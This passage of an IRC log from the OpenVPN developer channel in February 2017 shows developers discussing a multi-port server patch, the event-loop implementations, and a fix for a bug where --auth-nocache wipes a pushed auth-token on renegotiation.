pyjamas 03:14 <@plaisthos> I have nice ones made of fleece for the winter :0 03:15 < ordex> :D 03:15 < ordex> yeah, they are cool when it's cold 03:15 < ordex> eheh 03:19 <@cron2> my wife will kill me if I bring home more T-Shirts :-( 03:22 < ordex> I wouldn't try her :-P 03:35 <@plaisthos> they are sent by post :P 03:35 <@plaisthos> just let your wife open the package 03:35 <@cron2> "darling, a present for you!" 03:36 < ordex> :D 03:36 < ordex> it may arrive by Feb, 14th 03:36 < ordex> that would be perfect 03:36 < ordex> !! 03:45 <@plaisthos> what is feb 14? 03:45 <@plaisthos> ah 03:45 <@plaisthos> :D 03:46 < ordex> :D 03:46 < ordex> nothing important, but somebody may care :) 06:45 <@plaisthos> sigh, if people would check for version number or inform themselves a little bit before complaining 06:45 <@plaisthos> User writes review that my client should really be updated to OpenVPN 2.4 06:49 <@cron2> that is a good one 06:52 < ordex> in theory is EPOLL better than select ? 06:52 < ordex> I see there are several implementations of event handling code, and my system is using the ep_* set (epoll) instead of se_* set (select) 06:55 < ordex> mh maybe they are used in combination .. 06:55 * ordex scratches his head 06:56 < ordex> ah I see .. 06:56 < ordex> I think this code was written by James centuries ago (?) 06:56 <@plaisthos> yeah 06:56 <@cron2> haven't seen a comparison recently. select() has the issue that it's limited regarding maximum number of file descriptors, while poll()/epoll() is not as portable 06:56 <@plaisthos> yeah 06:56 <@plaisthos> but I think we have a kqueue implementation for OS X/FreeBSD 06:57 <@cron2> (well, maximum numeric value of file descriptors, to be precise, and that does not apply to windows select() which is more like poll()) 06:58 < ordex> phew 06:58 < ordex> ok thanks :) 06:58 < ordex> still, the code tries to use epoll first (if supported) 06:58 <@cron2> right 06:58 < ordex> ok - I am not crazy, yet 06:58 < ordex> :D 07:04 <@plaisthos> James does not like that code anymore ;) 07:04 < ordex> eheh 07:04 <@plaisthos> He switch to asio in OpenVPN 3 07:04 < ordex> yeah 07:04 < ordex> I guess asio takes care of all the platform compatibility issues 07:04 < ordex> better than dealing with that inside ovpn directly 07:05 < ordex> I guess even in ovpn2 it would be possible to rely on a library - not sure which one 07:05 < ordex> maybe in a distant future .. 07:06 <@cron2> libevent might do that for C for us (ASIO is C++ only, as far as I understand) 07:07 < ordex> yeah should be c++ and I think it was later integrated into boost 07:21 <@dazo> yeah asio is C++ ... in fact OpenVPN3 relies on bleeding edge ASIO features, which it is expected to be part of the next C++ standard 07:22 <@dazo> libevent would partially cover what how we use ASIO in OpenVPN3 .... ASIO takes care of all the socket handling as well, you just tell it "write these bytes to that connection" or "read some bytes from that connection" .... even DNS lookups seems to be handled in ASIO 07:25 < ordex> and it's bugfree, right? 07:25 < ordex> :D 07:25 < ordex> just teasing;P 07:25 <@dazo> hehe :) 07:26 <@dazo> I hope so! ;-) 07:43 < slypknot> dazo: how goes fixing --auth-gen-token + --auth-nocache ? 07:44 < slypknot> perhaps a manual entry or a log warning ? 07:45 <@dazo> slypknot: haven't had time to really look into that lately (was even sick thu-sun) 07:45 < slypknot> hope you are feeling better now :) 07:45 <@dazo> hmmm ... manual entry/log warning ... yes, they have merits if we don't fix it ... but I'd like to have a proper fix :) 07:45 <@dazo> much better nowadays :) 07:46 < slypknot> sure, i get that a proper fix is superior .. but a manual entry would be the easiest to assist users 07:46 < slypknot> anyway .. i am only suggesting 07:47 <@dazo> yeah 07:47 <@ecrist> morning, folks. evening, ordex. 07:48 < ordex> aloha 07:48 < ordex> I feel special 07:48 < ordex> :D 07:48 < slypknot> afternoon :) 07:48 <@dazo> the fix is actually not too hard .... "revert --auth-nocache if server sent auth-token" .... but when I do that, nothing happens in reality ... so I need to hunt for a lead within the struct context* maze 07:49 <@dazo> I think ordex can feel the pain of the struct context* maze hunt .... 07:49 < ordex> :D 07:49 < ordex> I am beyond the pain 07:49 <@dazo> lol 07:49 < slypknot> dazo: do you think there should be a trac for it ? if so I can add one for you .. 07:50 <@dazo> slypknot: I don't think there is a Trac for it ... but it could be useful to have one to point users at when they're hitting this one 07:50 < slypknot> I'll get on it :) 07:51 <@dazo> thx :) 08:06 <@dazo> https://twitter.com/int9h/status/828861963644067840 08:07 < ordex> lol 08:07 <@vpnHelper> RSS Update - tickets: #840: Server --auth-gen-token and client --auth-nocache do not work together <https://community.openvpn.net/openvpn/ticket/840> 08:13 < slypknot> modify #840 as you see fit 08:13 <@dazo> slypknot: just took ownership of it ... thx a lot! :) 08:40 < slypknot> dazo: sorry about that ;) 08:48 < ordex> why are the socket information spread among different context..why??? 08:48 < ordex> .-. 08:49 <@dazo> slypknot: no need to be sorry ... I'm the troublemaker in this case ;-) 09:42 < ordex> tcp6 0 0 :::1194 :::* LISTEN 09:42 < ordex> tcp6 0 0 :::1195 :::* LISTEN 09:42 < ordex> something is working 09:42 < ordex> ! 09:42 < ordex> :D 09:42 < ordex> listening on 2 tcp ports 09:47 <@cron2> wohoo! 09:47 <@cron2> does it *work* on both? :) 09:47 < ordex> it listens 09:47 < ordex> :D 09:48 < ordex> didn't say it works :P 09:48 < ordex> yet 09:48 < ordex> if I configure one only, it still works, so it is not so messed up :D 09:48 < ordex> but with more than one i still have some troubles somewhere 09:48 < ordex> fixing .. 09:58 <@vpnHelper> RSS Update - tickets: #841: Tap-windows fails with Error = 0xe0000246 - <https://community.openvpn.net/openvpn/ticket/841> 10:39 < ordex> dazo: it seems to be working! I can connect the client to one port first and then to the other! 10:39 < ordex> yuppie do! 10:39 <@dazo> cool! 10:39 <@dazo> good work, ordex! 10:40 < ordex> but this was only tcp so far - now I have to check the udp code path.. 10:40 < ordex> :) 10:40 < ordex> and then mix the two ;) 10:45 <@plaisthos> tcp is the easy one :) 10:45 <@plaisthos> /easier/ 10:45 <@plaisthos> not easy ;) 10:45 <@plaisthos> or at least I gave up on udp 10:45 <@plaisthos> tcp already has this there are multiple sockets to be checked logic all over the place 10:46 < ordex> yeah 10:46 < ordex> plaisthos: btw, as we were discussing last time, I moved the logic from "having multiple multi_instance" to "having multiple link_sockets within the same multi_instance" 10:46 < ordex> this is how I am handling the thing right now 10:47 < ordex> I hope thiw ill simplify u the udp case...I'll see soon :S 10:47 < ordex> *this will 10:51 <@plaisthos> :) 10:52 <@dazo> ordex: you might hit some fun challenges in regards to the calculation of frame sizes .... as the TCP packets carry a 2 byte length indicator in the beginning 10:52 < ordex> yah you told me that 10:52 < ordex> but if I know what I am doing, the change should abstract from that, and leave that parsing part as it is now 10:52 < ordex> but yeah, not sure yet 10:52 <@dazo> multiple udp or multiple tcp probably can work without that confusion ... but mixing udp and tcp can be fun :) 10:53 <@dazo> yeah 10:53 < ordex> yeah :D 11:44 < slypknot> ordex: can a multi-protocol single threaded daemon come with a /suitable performace warning .. ? please 11:45 < ordex> first I should know what the warning should be about :P 11:45 < slypknot> tcp vs udp 11:45 < ordex> ah 11:46 < ordex> well, the point is that the warning will appear on the server, but the decision of which protocol to use is all on the client, which won't see the warning usually (unless it's the same person) 11:46 < ordex> but yeah 11:46 < ordex> although we are far from that :) 11:47 < slypknot> sure .. i get the multi port idea 11:47 < slypknot> i mean i understand the general idea 11:48 < slypknot> but mixing protocol is simply pointless . imho 11:50 < ordex> well, the use case I have in mind is for providers willing to be resilient to ISP blocks 11:50 < ordex> they often deploy multiple instances on different ports/protocols 11:50 * slypknot is thinking maintainer time 11:50 < slypknot> also .. a decent server can just use two instances .. 11:50 < ordex> yeah that's what several people do 11:51 < ordex> but that creates other problems as you then have 2 interfaces 11:51 < ordex> and makes the deployment trickier 11:51 < slypknot> which works perfectly 11:51 < ordex> yeah, you just have to make sure it still works everytime you change something in your firewall or network setup ;P 11:52 < ordex> even the cipher negotiation is similar from a high level perspective 11:52 < ordex> people were deploying multiple instances in order to have weak settings available for older clients, but stronger ones for the others 11:53 < ordex> you could also have multiple instances working in p2p only instead of p2mp :P 11:53 < ordex> but handling everything in one instance is more efficient imho 11:54 < ordex> then, any user can decide to use the feature or not ;P 11:55 < slypknot> *sigh* 11:56 < ordex> no? 11:57 < ordex> slypknot: you see something counter productive in this approach ? 12:02 < slypknot> the decision is upto people far more knowledgable than me .. but i would perfer *not* to have multi-protocol per intance 12:02 < slypknot> i cannot see any justification for it 12:04 < ordex> so you would rather suggest people to always run two instances ? 12:04 * ordex is trying to understand 12:05 < slypknot> ok, try this .. what is the need for a single process multi-protocol daemon ? 12:06 < ordex> mh, as I said before: beng able to listen on both protocols at the same time -> way simpler setup and easiness of deployment compared to running multiple instances of of the daemon 12:06 < ordex> *being 12:06 < ordex> no need to have multiple IPs/firewall rules/forwarding/routing/etc 12:07 < ordex> with 2 instances you basically have to duplicate configure on top 12:07 < ordex> *duplicate anything you configure on top 12:07 * ordex eating words 12:08 < ordex> there are other examples in thr real world: DNS server 12:08 < ordex> although different, but it's one case of dual-protocol in one daemon 12:09 < ordex> anyway, I am not saying it will be helpful to everybody :) 12:09 < ordex> but why not doing it ? 12:09 < slypknot> is DNS really a comparable level of expectation ? 12:09 < ordex> depends on what level you want to compare 12:10 < slypknot> openvpn =to DNS 12:10 < ordex> but I don't think we need to compare to other protocols 12:10 < ordex> I would just look at openvpn per se 12:10 * slypknot anybody wanna chime in .. ? 12:11 < ordex> btw, if you have an argument against it, just shoot, because it might be easier for me to understand :P 12:11 < slypknot> tcp vs udp .. expected performance in one single-thread 12:12 < ordex> what do you mean ? 12:12 < slypknot> i don't buy that there is any improvement in it 12:12 < ordex> that one may slow down the other ? 12:12 < slypknot> ordex: let others give you their opinions .. mine is clear 12:12 < ordex> the improveent is on the configuration side: one line in the config vs setting up another interface and double the required resource 12:13 < ordex> mh, to me it is not, that is why I am questioning 12:13 < ordex> you are saying "I don't buy your argument" but you are not saying why you think it would not be reasonable to implement it :P 12:13 < slypknot> yes 12:29 <@ecrist> ordex: there are some current inefficiencies you'd need to solve before you'd want to do multiple protocols, I think. 12:29 <@ecrist> for starters, OpenVPN is still mostly single-threaded 12:29 < ordex> yap 12:29 <@ecrist> performance, on the best machine, falls off at ~200 users over normal network connection speeds 12:30 < ordex> mh..what do you mean ? when does the fall occur ? 12:31 <@ecrist> like I said, about 200 client connections 12:31 < ordex> ah ok sorry, I had read it wrong 12:32 < ordex> but how is this related to the multi-protocol thing ? 12:32 < ordex> late here :P sorry 12:33 <@ecrist> ordex: there's gross inefficiency in connection handling. Until that's fixed, I suspect adding more protocols to a large single thread will just further break things. 12:34 <@ecrist> The short, functional, solution right now is, fire up another daemon. :) 12:34 < ordex> eheh 12:34 < ordex> could you elaborate more on "there's gross inefficiency in connection handling" or give me a pointer to a mail/bug if there is any? I am curious about that 12:35 < ordex> or you are referring to the overall mechanism handling events ? 12:35 <@ecrist> the overall mechanism 12:35 < ordex> ah yeah 12:35 <@ecrist> first, and foremost, it's single threaded 12:35 < ordex> my approahc right now is: "don't make it worse" 12:35 < ordex> :) 13:05 < slypknot> ordex: try fixing #840 ;) 13:05 < ordex> :D 13:05 < ordex> what is that about ? 13:05 < ordex> ah but dazo seems to like it a lot :D 13:05 < ordex> he will take care of it ;P 13:06 < slypknot> you could 'help' 13:06 < ordex> sure 13:06 < ordex> after udp will be working again in my mess 13:06 < ordex> :D 13:07 < slypknot> you could 'help' openvpn .. 13:07 < ordex> :D 13:07 < ordex> what should I do ? 13:08 < slypknot> if i could do C like you .. i would do stuff for the entire commnity 13:08 < slypknot> #840 looks like a reasonable candidadte 13:09 < slypknot> you did have a go at the packet filter .. but that was to 'outside the box' because 2.4 was on the horizon 13:09 < slypknot> now 2.4 is here 13:09 < ordex> yap 13:09 < slypknot> it could do with a little help to get over the line 13:10 < ordex> I think there was not much interest in the end, no ? 13:10 < ordex> nobody replied over the ml basically 13:10 < slypknot> if it is an accepted bug then there is plenty of interest 13:10 < slypknot> do you mean the packet filter ? 13:11 < ordex> yup 13:11 < slypknot> the packet filter is at best a 'nice to have;' .. compared to fixing a real bug there is no comparison 13:12 < ordex> eheh I know 13:12 < slypknot> ok :) 13:12 < ordex> are you trying to convince me to work on things you think are important? :D 13:12 < ordex> ehehe 13:12 < ordex> I know how that works, but I also have to manage my time :P 13:12 < ordex> and have fun :D 13:13 < slypknot> i still feel tcp+udp+1.0thread = disaster 13:13 < ordex> maybe 13:13 < ordex> that's something we'll find out with some tests later :) 13:13 < ordex> but that's pretty far away yet, before doing tcp+udp it needs a loooot of work 13:14 < ordex> so, you can save your concerns for now ! :D 13:14 < ordex> eheh 13:18 * slypknot *Gives Up* 13:20 < ordex> xD 13:22 < ordex> never give up ! 13:22 < ordex> :) 13:23 < slypknot> ok, my final word on this: I cannot explain this in a programming manner .. but, the timing differences between upd vs tcp would seem to me to be insurmountable in a single threded process .. but that is only my perception 13:23 < slypknot> you asked me why .. that is my 'why' 13:24 < ordex> much better than before already :) thanks! 13:24 < slypknot> sure :) 13:30 < slypknot> P.S. i was hoping to diminish your current intent and engage you in what the community needs :) but .. you godda do it .. you godda do it .. the beat goes on 13:30 < ordex> :D 13:30 < ordex> if you are still talking about #840 13:30 < slypknot> or any bugs 13:31 < ordex> well, consider that I do not understand every bug. I have limited knowledge about the code, so I can't engage in any thing that looks important 13:31 < slypknot> dammit man ! 13:31 < ordex> aaand what bug would you consider importan now besides #840 ? 13:31 < ordex> lol 13:31 < ordex> :D 13:33 < slypknot> i know i said that was my final word .. but you got me going now .. so expect more 13:34 < ordex> eheh sure 13:34 < ordex> but note that soon I will dig my hole in the bed ;P 13:34 < slypknot> ok .. first point: try the challenging stuff .. see how you do 13:35 < slypknot> no problem about sleep: I highly recommend it :) 13:35 < ordex> which are ? 13:36 < slypknot> For a start: https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=closed&status=new&status=reopened&desc=1&order=id 13:36 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 13:37 < slypknot> also 13:37 < slypknot> one final equation for you to balance .. 13:40 < ordex> yes ? 13:42 < slypknot> ((tcp+udp)*thread*possible_use_case)/(openvpn_maintainers*maintainer_time) > 1 13:43 < slypknot> or even 13:43 <@ecrist> o.O 13:43 < slypknot> (change * use) / (maint * time) > 1 13:43 <@ecrist> boys, do I need to look around for the banhammer? 13:44 < ordex> I am against violence ! 13:44 < ordex> :p 13:44 < slypknot> ecrist: the threat is sufficient ! 13:44 <@ecrist> it was more dramatic back in the day before we all keep our +O all the time 13:44 -!- mode/#openvpn-devel [-o ecrist] by ecrist 13:44 < ecrist> see I'm normal 13:44 < slypknot> lol 13:45 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 13:45 < slypknot> normal :D 13:45 <@ecrist> oh, crap, dad's home 13:45 <@ecrist> for a long time nobody was +o in the main channel, either 13:45 < ordex> :) 13:45 <@ecrist> and you'd log in and think, crap, what happened? there's an op in here 13:46 <@ecrist> and you'd look, and sure enough, +b had grown in length 13:46 < ordex> ehehe 13:47 < ordex> ok, now that udp listens on multiple ports too I can go to bed 13:47 < ordex> :) 13:47 < ordex> thanks for the company, goodnight ! 13:47 * slypknot wonders what pushed ecrist 'ober the edge' ? 13:52 < slypknot> for the record on this one: I simply experssed an opinion WRT upd+tcp single process and then gave a follow up on what may be preferred 13:52 <@ecrist> don't sweat it 13:52 < slypknot> :) m'kay 13:56 < slypknot> ecrist: would you delete this thread (follow the links) or just leace it as a lol reminder : https://forums.openvpn.net/viewtopic.php?f=1&t=19516 13:56 <@vpnHelper> Title: TUN/TAP driver problems in windows 10 - OpenVPN Support Forum (at forums.openvpn.net) 13:56 < slypknot> i cannot decide if it is even worth deleting ? 14:00 < slypknot> unless i hear otherwise .. i'll leave it 14:01 < slypknot> "/moved to windows forum 14:02 < slypknot> hehehe 14:35 < slypknot> ecrist: any news, https://community.openvpn.net/openvpn/ticket/818 14:35 <@vpnHelper> Title: #818 (easy-rsa package does not contain windows binaries) – OpenVPN Community (at community.openvpn.net) 15:03 -!- slypknot is now known as gordon_spamsey 15:15 -!- gordon_spamsey is now known as slypknot 18:04 < slypknot> can tincantech be allowed 'CC myself' privileges (perhaps by group) on eg: https://community.openvpn.net/openvpn/ticket/841#modify 18:04 <@vpnHelper> Title: #841 (Tap-windows fails with Error = 0xe0000246 -) – OpenVPN Community (at community.openvpn.net) 18:05 < slypknot> i would like to follow but have nothing to add 'at this time' 20:14 < ordex> morning 22:08 < ordex> mhm ulti udp seems to be working too ! 22:08 < ordex> although I think I have seen something strange in the code .. but a basic test is working fine :) --- Day changed Wed Feb 08 2017 01:54 <@cron2> ordex: whee 01:55 < ordex> yeee 01:55 < ordex> :D 01:55 < ordex> it works[tm]! 01:55 < ordex> now I have to cleanup everything a bit 01:55 < ordex> make sure I am not doing anything that breaks features that I am not using :P 01:57 < ordex> cron2: dazo: do we have some automated test or something similar to test ntml ? I wanted to fix several annoying warnings but I don't know how to test it 01:59 <@cron2> ordex: NTLM is one of the sore spots. There is a patch from Reators floating on the mailing list (since two years or so), which did not receive much attention, then syzzer sent a review with change requests and nothing happened since 01:59 < ordex> ok...feel like it will rot even more :D 01:59 < ordex> *feels 01:59 <@cron2> ... and we have no test infrastructure today. Shouldn't be *too* hard if you have access to a windows domain (set up squid with NTLM auth), but takes time 02:00 < ordex> yup 02:02 < ordex> if anybody during lunch break is curious about the multi-port thing, the code draft code is available here https://github.com/ordex/openvpn/commit/f8d90de743ea00f955272440346c5648676fa921 02:02 <@vpnHelper> Title: Allow a server to listen on multiple ports at the same time · ordex/openvpn@f8d90de · GitHub (at github.com) 02:57 < ordex> mh, handling the management intreface is going to be .. fun :/ 03:05 < ordex> slypknot: about #840 - is there a reasn for having auth-nocache enabled on the client? does it provide something else that is not mentioned in the ticket/email ? 03:30 <@cron2> well, for typical 2FA environments, you need auth-nocache to make openvpn ask again upon renegotiation - otherwise it will just retry the one-time-password, fail, and disconnect 03:33 < ordex> oh ok 03:34 < ordex> so in this case is for the OTP that needs to be requested again 03:34 < ordex> ? 03:38 < ordex> mh, this means that when auth-token is provided, the nocache should be disabled only for the OTP, but not for the user/pass 03:40 <@cron2> well, nocache interferes with the server token sent (which is fine for renegotiation), so it will *always* ask again... 03:40 <@cron2> there was a bit of discussion with Dazo on openvpn-users, with much more detail 03:41 < ordex> yah, I will read that first 03:41 < ordex> thanks! 03:46 -!- siruf_ is now known as siruf 04:42 < ordex> mh I still miss some variables .. who expires and when 04:42 < ordex> also because it is not clear to me how the token works :/ need to read about that 05:19 * cron2 wishes bash users fun with CVE-2017-5932 05:20 < ordex> cron2: any link ? 05:22 < eworm> uh, bash again? 05:55 < ordex> interesting .. duckduckgo can't find anything about that CVE, while google does 06:49 <@ecrist> slypknot: I'm just finishing this book, then I plan to dig in to easy-rsa, including re-packaging it 06:49 <@ecrist> might get it done this weekend. 07:29 <@dazo> ordex: --auth-token can only be pushed from server to client, and it keeps a value which is unique for that session ... the client will replace the local user password in the struct user_pass for username/password auth with this token, and on the next re-negotiations it will use this value as the new password 07:30 <@dazo> what happens with --auth-nocache, is that the client in this case should cache any user passwords in memory and request it again ... but since the server pushed an auth-token the password shouldn't be used any more .... and then --auth-nocache also wipes the auth-token 07:31 <@dazo> and since the auth-token is typically a random value the user never know of .... well, *boom* 07:31 <@dazo> client is kicked out 07:32 < ordex> dazo: about auth-token: so the server sends the token (that I guess is not static but computed by a script/plugin?) and then the client send it back with the next renegotiation ? 07:33 < ordex> (thank you for showing up and explaining this!) 07:36 < ordex> dazo: and next question: what role does OTP play in this schema ? 07:36 <@dazo> ordex: normally, it's the auth script/plugin providing that ... but in 2.4, we added the --auth-gen-token feature, which can do that inside the openvpn server process 07:36 <@dazo> right 07:36 <@dazo> otp 07:37 <@dazo> when using --reneg-* options, the client needs to send the username/password of the client each time. So with OTP, the password will be invalidated between each renegotiation 07:38 <@dazo> using --auth-token, the client gets a session specific token ... which will be valid across all renegotiations 07:38 <@dazo> thus, the client won't need to ask for a new OTP code 07:38 < ordex> right 07:38 < ordex> so OTP is just used as password the first time ? 07:38 <@dazo> correct 07:38 < ordex> I see 07:39 < ordex> ok 07:39 < ordex> everything makes sense now 07:39 <@dazo> \o/ :) 07:39 < ordex> the only thing I don't grasp is: what is the auth-token useful for if openvpn has established a tls/ssl session already ? 07:39 < ordex> does it protect during a renegotiation? or what ? 07:40 < ordex> it's like A tells B "hey, X is the password" and later B authenticates using X...but of course he knows X...unless I B might be substituted by a malicious user (but can this happen with the TLS session established?) 07:40 < ordex> I hope I haven't made it more complicated :) 07:41 <@dazo> It is related to renegotiations ... f.ex. with ciphers with block sizes less than 128bits, we now default to a renegotiation of the tunnel after each 64MB .... plus the default is a renegotiation every hour 07:41 <@dazo> when this happens and username/password authentication is happening ... client must send that information on each renegotiation as well 07:42 <@dazo> normally, without --auth-nocache ... openvpn have the password in memory, and just sends it transparently for the user 07:42 <@dazo> on each reneg 07:42 <@dazo> with --auth-nocache .... the client must enter the password on each renegotiation 07:42 < ordex> yap 07:42 < ordex> ok 07:43 <@dazo> with --auth-token ... server say: Forget the password, use this unique token instead next time ... and then everything goes transparently for the user 07:43 < ordex> ok 07:43 < ordex> and this is helpful for a) not store the pwd in memory b) use OTP 07:43 < ordex> I guess ? 07:43 <@dazo> yes ... because with OTP ... the OTP code is different between each time the user needs to provide a password 07:43 < ordex> yap 07:44 <@dazo> (typically changes every 30 sec) 07:44 < ordex> so the cache wouldn't work 07:44 <@dazo> exactly 07:44 < ordex> may I ask the last question? 07:44 < ordex> :D 07:44 <@dazo> so when the server side knows "This client have an auth-token" .... then it authenticates against the token instead of the password/OTP 07:44 < ordex> yeah 07:44 <@dazo> shoot! :) 07:45 < ordex> makes sense, I was just wondering what is the use case for re-doing authentication upon renegotiation: we have the certificate that identifies the client + we have still the old session in place that could be used to do the renegotiation, no? wouldn't this be enough to authenticate the client withput having him resend user/pwd (or the token) ? 07:46 <@dazo> ahh! Well, it might be that the user have spent a certain quota ... got fired in between and the VPN access revoked ... or some other access policies which does not allow the client to be connected 24/7/365 07:47 <@plaisthos> probably yes 07:47 <@plaisthos> but I think openvpn always establishes a new tls session 07:47 < ordex> mh yeah 07:47 < ordex> and the auth-user-pass verify script may return something different this time 07:47 < ordex> plaisthos: yap, think so 07:48 <@dazo> technically, it wouldn't be needed to resend the username/password ... if the server can trust it is the same client ... but policy wise, it makes it easier to shift that responsibility directly to the auth script/plug-in 07:48 < ordex> yap 07:48 < ordex> right :) 07:48 < ordex> thanks a lot for the explanation! 07:49 <@dazo> sure, yw! 08:26 < slypknot> Just curious: as --auth-nocache works for what it is supposed to, how about if the client does not use the password field to store the token but a new token field and when that field is populated it sends that back to the server not the original password field .. leaving that code path intact and having a new one for tokens ? 08:29 <@dazo> slypknot: the core design (far long before I got involved here) is to use the password field for the token ... so changing that implementation may be much more harder than it sounds 08:29 <@dazo> (and strictly not needed, as the token is from a practical point of view, a password ... so the current implementation does make sense) 08:30 <@dazo> it's just an implementation bug ... that --auth-nocache does not consider use cases with --auth-token 08:33 < slypknot> dazo: thanks .. i was just curious :) 08:40 <@dazo> curiosity is good :) 09:02 < ordex> dazo: I am diving into the user/pass a code a bit - if I am not wrong, the main problem is that the user/pass object is purged *before* we receive the push-reply, so we don't know yet if we have auth-token coming in or not. would you agree ? 09:28 < ordex> mh 09:34 <@dazo> ordex: hmm ... nah, I'm not so sure of that .... what I actually have tried is to set auth_user_pass.nocache = false; ... but those places I've tried that, seems not to have been propagated further 09:34 < ordex> wait 09:34 < ordex> let me show my patch 09:34 < ordex> it seems to be working[tm] 09:34 <@dazo> I've tried a few places ... and last place I tried was in ssl_set_auth_token() 09:34 < ordex> but you know better 09:34 <@dazo> cool! 09:35 <@dazo> Not sure I know better .... I just know what didn't work so far :-P 09:35 < ordex> I am not sure it's clean at 100%: https://bpaste.net/show/6c1fc9d8be79 09:36 < ordex> however, what I said before seems to be true, this is why, if you see my patch, I have moved purge_user_pass() to *after* the push-reply is parsed 09:37 < ordex> otherwise it was wiping the user/pass even before parsing push-reply (Actually the wipe was happening right after having written the user/pass in the message to be sent to the server IIUC) 09:37 <@dazo> you might be into something here ... 09:37 < ordex> I hope it is not something bad :D 09:38 < ordex> so far, my client is renegotiating every 10 secs without asking for a pass anymore 09:38 < ordex> and I have auth-nocache set 09:38 < ordex> while on the other side I am pushing a random token 09:38 <@dazo> I will spend a bit time looking into your changes after I've had some food .... you actually catch those areas I've been fighting with 09:38 < ordex> 4 eyes is better than 2 ! :D 09:39 <@dazo> the auth-token should be "random" .... or at least something only the server side knows about 09:39 < ordex> right 09:39 < ordex> but I don't care much about that, because my dummy auth-user-pass-verify script is always returning zero right now (i.e. he always likes user+pass received) 09:40 <@dazo> ordex: did you add --auth-gen-token on the server side? 09:40 < ordex> nop, only push auuth-token - to keep the setup simple 09:41 < ordex> should I add that and remove push auth-token ? 09:41 < ordex> and should I then also remove reneg-sec 10 on the client ? 09:41 <@dazo> then you should get at least something more random :) 09:41 <@dazo> and a proper auth-token check :) 09:42 * cron2 is amazed 09:42 <@cron2> seems we've found a new magician who understands James' code :-) 09:42 < ordex> lol 09:42 <@dazo> lol ... yeah! 09:43 < ordex> dazo: maybe I can hardcode the token in my script to check that at least it is returning what I am pushing (without using auth-gen-token for now) 09:46 <@dazo> could work too 09:56 < ordex> dazo: when passing the user/passwd by means of "via-env", where am I supposed to find the password ? 09:56 < ordex> $password does not seem to be set 09:56 < ordex> unless I broke something :D 09:59 <@dazo> ordex: --script-security 3 09:59 < ordex> ah ! 10:00 < ordex> thanks :) 10:00 <@dazo> (or was it 4 ... don't recall) 10:00 < ordex> this is not mentioned in the auth-user-pass-verify doc in the man :-P 10:00 < ordex> 3 -- Allow passwords to be passed to scripts via environmental variables 10:00 < ordex> yup, you are right, thanks ! 10:02 < ordex> cool, it works, I see the pwd the first time and then the token coming back each time 10:02 < ordex> I just have an annoying message on the server .. mhh .. 10:07 < ordex> mh something my patch does not consider: the push-reply might be sent in multiple chunks, so we should wait for all of them to be received before attempting to wipe the user/pass 10:07 < ordex> argh :S 10:30 < ordex> dazo: cron2: improve version: https://bpaste.net/show/dc77a50aa70d << hetre I make sure to run the wipe-attempt only after having parsed the whole (multi-)push-reply and I avoid the warning on the client telling the user to enable auth-nocache for security reason 10:33 < ordex> ehm, little glitch fixed: http://bpaste.net/show/153e8d51c02d 10:33 < ordex> I am done for now :) 12:07 <@dazo> ordex: great job! I'll run some tests and look more carefully at it now 12:37 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Remote host closed the connection] 12:46 < h0nus> Hi. I'm having trouble using OpenVPNConnect for Android in conjunction with AndroIRC 12:46 < h0nus> AndroIRC works fine when OpenVPNConnect is disconnected, but once connected I cannot connect to my IRC servers 12:48 < h0nus> I should say, I cannot *establish a connection. 12:51 <@d12fk> h0nus: this is the development channel, move over to #openvpn and you may get help there 12:52 < h0nus> d12fk thank you 13:34 <@cron2> huh, another patch for #840 13:34 <@cron2> competition 13:34 * cron2 is even more amazed 14:10 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 15:11 <@dazo> ordex: testing your auth-nocache stuff .... it seems to break my setups :/ 15:11 <@dazo> I'll document #840 with a few test cases 20:30 < ordex> dazo: cool! :D 20:47 < ordex> cron2: ehehe yeah :D he is using the trick of not deleting the username - this way does not have to move the call to purse_user_pass() 21:10 < ordex> dazo: your openvpn server command is missing the "via-env" argument for the --auth-user-pass-berify option 21:27 < ordex> thanks for the test cases :) 21:37 < ordex> ecrist: u there ? 22:00 < ordex> dazo: for some reason in my test the server takes a lot of time before sending the new push-reply upon renegotiation and the client times out in the meanwhile..weird - I try without the patch 22:12 < ordex> dazo: btw, if you tried running my patch, maybe it's easier if you tell me which test it was failing. Because I am not sure about you have seen --- Day changed Thu Feb 09 2017 03:42 <@dazo> ordex: yes, probably missing via-env ... I always tend to forget that :) 03:42 < ordex> eheh np :) 03:42 <@dazo> ordex: actually, renegotiation failed on all test cases with your patch ... 03:42 < ordex> oh really ? 03:42 < ordex> mh 03:43 <@dazo> I can re-run these tests again 03:43 <@dazo> just to be 100% sure 03:43 < ordex> ok. because it was not here - but I also have to say that something was weird as my client was reconnecting every 6 seconds 03:44 <@dazo> yeah ... for some reason it seems to end up in an odd state and the traffic doesn't flow 03:46 < ordex> mh 03:46 < ordex> I have tried without my patch, but the behaviour was similar - not sure what was wrong :( 03:48 <@dazo> I wonder if it fails when the server side runs the patch, not the client side 03:48 <@dazo> need to do a rebuild so I know for sure 03:51 < ordex> ok 04:20 < ordex> I wonder if there is something else broken that we are uncovering now :D 06:36 <@dazo> syzzer: you around? 06:37 < slypknot> morning :) does --nice effect windows machines ? it does not throw an error but openvpn.exe base priority remains at Normal .. 06:37 <@dazo> slypknot: without checking the code .... not sure windows support --nice, so it might just be ignored 06:37 <@dazo> (or nice() to be more exact 06:39 < slypknot> dazo: that's what i was presuming :( .. I guess manually setting the windows base priority may help ? 06:39 <@dazo> I dunno how the windows process management works under the hood, so I have no idea 06:39 <@ecrist> ordex: what's up? 10:47 < ordex> ecrist: I Was feeling lonely this morning :P everybody was sleeping :D 10:48 < ordex> good evening anyway 10:48 < ordex> :) 10:52 <+krzee> lol 10:55 < kitsune1> slypknot: I believe priorty on windows is decided by the registry key HKLM\Software\OpenVPN\priority. Instances started by the service or GUI would be set to run at that priority. 11:23 < slypknot> kitsune1: nice .. i'll try it :) 11:23 < slypknot> thanks 11:45 < slypknot> kitsune1: yep, that works .. openvpn.exe base priority HIGH 12:03 < kitsune1> :) 15:35 <@dazo> ordex: I think I've found the bug in your patch .... in forward.c, you modify check_incoming_control_channel_dowork() 15:35 <@dazo> These lines fixes the issue 15:35 <@dazo> else if (buf_string_match_head_str(&buf, "PUSH_")) 15:35 <@dazo> { 15:35 <@dazo> int msgtype = incoming_push_message(c, &buf); 15:35 <@dazo> if ( c->options.mode != MODE_SERVER 15:35 <@dazo> && msgtype == PUSH_MSG_REPLY) 15:35 